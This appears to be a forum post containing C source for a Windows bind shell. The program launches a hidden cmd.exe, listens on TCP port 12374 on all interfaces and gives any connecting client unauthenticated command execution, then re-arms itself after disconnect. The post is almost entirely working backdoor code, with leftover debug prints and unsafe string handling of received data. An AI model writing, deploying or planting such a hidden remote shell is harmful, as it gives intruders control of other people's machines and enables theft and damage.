Code:
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
HANDLE rPipe, rInput;
HANDLE wPipe, wInput;
HANDLE wError;
SECURITY_ATTRIBUTES pipesec;
STARTUPINFO startInfo;
PROCESS_INFORMATION pinfo;
char buffer[1023];
//char inbuffer[256];
char tmpbuffer[256];
void DiplayError();
BOOL bRet;
//HANDLE hThread;
//HANDLE hThread2;
//DWORD dwThreadID2;
//DWORD dwThreadID;
DWORD bytesRead;
DWORD bytesWrote;
WSADATA wsda; // Structure to store information returned from
// WSAStartup
char szRepMessage[80]; // Store the reply message
int iMessageLen;
char szInBuffer[1023];
int iBufferLen;
int iPort, iAddrLen;
SOCKET sListen, sClient; // Our TCP socket handle
SOCKADDR_IN addr, // The local interface
remote_addr; // The address of the connecting host
int main(int argc, int **argv)
{
int ret;
startup();
// Receive data
for (;;) {
sendconsole();
writeconsole();
}
printf("Closing client socket & Pipe Handles...");
closesocket(sClient);
CloseHandle(rInput);
CloseHandle(wInput);
CloseHandle(wPipe);
CloseHandle(rPipe);
printf("OK\n");
return 0;
}
int writeconsole(){
int ret;
memset(szInBuffer, 0, sizeof(szInBuffer));
ret = recv(sClient, tmpbuffer, sizeof(tmpbuffer), 0);
if(ret == SOCKET_ERROR)
{
DisplayError("Recieve Error!");
strcpy(szInBuffer, "quit");
checkcommandline();
}
while (!strstr(tmpbuffer, "\n")){
strcat (szInBuffer, tmpbuffer);
printf("szInBuffer: %s\n", szInBuffer);
ret = recv(sClient, tmpbuffer, sizeof(tmpbuffer), 0);
if(ret == SOCKET_ERROR)
{
DisplayError("Recieve Error!");
strcpy(szInBuffer, "quit");
checkcommandline();
}}
perror("1");
iBufferLen = strlen (szInBuffer); // recv() returns the number of bytes read
perror("2");
strcat (szInBuffer, "\n\r\0");
perror("3");
checkcommandline();
perror("4");
WriteFile(wInput, szInBuffer, iBufferLen, &bytesWrote, 0);
}
int sendconsole(){
int ret;
for(;;)
{ DWORD dwRead; BOOL bRet;
perror("5");
memset(buffer, 0, sizeof(buffer));
perror("5 1/2");
bRet = ReadFile(rPipe, buffer, sizeof(buffer), &bytesRead,NULL);
perror("6");
if(bRet==FALSE) { // pipe closed
perror("7");
DisplayError ("ReadFile");
break;
}
if (buffer == NULL){
perror("8");
DisplayError ("buffer == NULL!"); }
ret = send(sClient, buffer, strlen(buffer), 0);
perror("9");
if(ret == SOCKET_ERROR) {
DisplayError ("Send Error!");
strcpy(szInBuffer, "quit");
checkcommandline();
}
break;
}
}
int DisplayError(char *pszAPI)
{
LPVOID lpvMessageBuffer;
CHAR szPrintBuffer[512];
DWORD nCharsWritten;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
NULL, GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpvMessageBuffer, 0, NULL);
wsprintf(szPrintBuffer,
"ERROR: API = %s.\n error code = %d.\n message = %s.\n",
pszAPI, GetLastError(), (char *)lpvMessageBuffer);
WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE),szPrintBuffer,
lstrlen(szPrintBuffer),&nCharsWritten,NULL);
LocalFree(lpvMessageBuffer);
//ExitProcess(GetLastError());
}
int checkcommandline()
{
if (strstr (szInBuffer, "quit")){
printf("Closing client socket & Pipe Handles...");
memset(szInBuffer, 0, sizeof(szInBuffer));
memset(buffer, 0, sizeof(buffer));
closesocket(sClient);
CloseHandle(rInput);
CloseHandle(wInput);
CloseHandle(wPipe);
CloseHandle(rPipe);
printf("OK\n");
startup();}
}
int startup()
{
int ret;
// Get the remote port
pipesec.nLength = sizeof(SECURITY_ATTRIBUTES);
pipesec.lpSecurityDescriptor = NULL;
pipesec.bInheritHandle = TRUE;
if (!CreatePipe(&rPipe, &wPipe, &pipesec, 0))
MessageBox(NULL,"Error Creating Pipe!",NULL,0);
if (!CreatePipe(&rInput,&wInput,&pipesec,0))
MessageBox(NULL,"Error Creating Pipe!",NULL,0);
startInfo.cb = sizeof(STARTUPINFO);
GetStartupInfo(&startInfo);
startInfo.hStdOutput = wPipe;
startInfo.hStdInput = rInput;
startInfo.hStdError = wPipe;
startInfo.dwFlags = STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES;
startInfo.wShowWindow = SW_HIDE;
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &startInfo, &pinfo))
MessageBox(NULL,"Error Starting CMD.EXE!",NULL,0);
iPort = atoi((char *) &"12374");
// Load version 1.1 of Winsock
WSAStartup(MAKEWORD(1,1), &wsda);
// Create a TCP socket
printf("Creating socket...");
sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
// Error?
if(sListen == SOCKET_ERROR)
{
printf("Error\nCall to socket(AF_INET, SOCK_STREAM, IPPROTO_IP); failed with:\n%d\n", WSAGetLastError());
exit(1);
}
printf("OK\n");
printf("Binding socket to port %d...", iPort);
addr.sin_family = AF_INET;
addr.sin_port = htons(iPort);
addr.sin_addr.s_addr = htonl(INADDR_ANY); // Listen on any interface
ret = bind(sListen, (struct sockaddr *) &addr, sizeof(addr));
// Error?
if(ret == SOCKET_ERROR)
{
printf("Error\nCall to bind(sListen, (struct sockaddr *) &addr, sizeof(addr)); failed with:\n%d\n", WSAGetLastError());
exit(1);
}
printf("OK\n");
printf("Putting socket into listening mode...");
ret = listen(sListen, 10); // Backlog 10
// Error?
if(ret == SOCKET_ERROR)
{
printf("Error\nCall to listen(sListen, 10); failed with:\n%d\n", WSAGetLastError());
exit(1);
}
printf("OK\n");
printf("Waiting for connections (Press Ctrl-C to exit)...");
iAddrLen = sizeof(remote_addr);
sClient = accept(sListen, (struct sockaddr *) &remote_addr, &iAddrLen);
// Error?
if(sClient == SOCKET_ERROR)
{
printf("Error\nCall to accept(sListen, (struct sockaddr *) remote_addr, sizeof(remote_addr)); failed with:\n%d\n", WSAGetLastError());
exit(1);
}
printf("%s connected\n",
inet_ntoa(remote_addr.sin_addr));
closesocket(sListen);
}